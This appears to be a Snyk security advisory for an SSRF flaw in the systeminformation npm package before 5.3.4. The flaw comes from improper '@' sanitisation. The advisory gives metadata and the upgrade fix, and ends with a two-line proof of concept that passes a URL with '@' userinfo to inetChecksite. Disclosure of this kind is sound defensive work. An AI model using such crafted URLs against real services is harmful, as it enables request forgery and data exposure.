Server-side Request Forgery (SSRF) Affecting systeminformation package, versions <5.3.4


0.0
medium
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

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  • snyk-id

    SNYK-JS-SYSTEMINFORMATION-1078290

  • published

    4 Mar 2021

  • disclosed

    22 Feb 2021

  • credit

    huntr-helper

How to fix?

Upgrade systeminformation to version 5.3.4 or higher.

Overview

systeminformation is a simple system and OS information library.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the sanitizeShellString function due to not sanitising @ properly.

PoC

const si = require('systeminformation');
si.inetChecksite("https://effectrenan.com@google.com").then(a => { console.log(a) });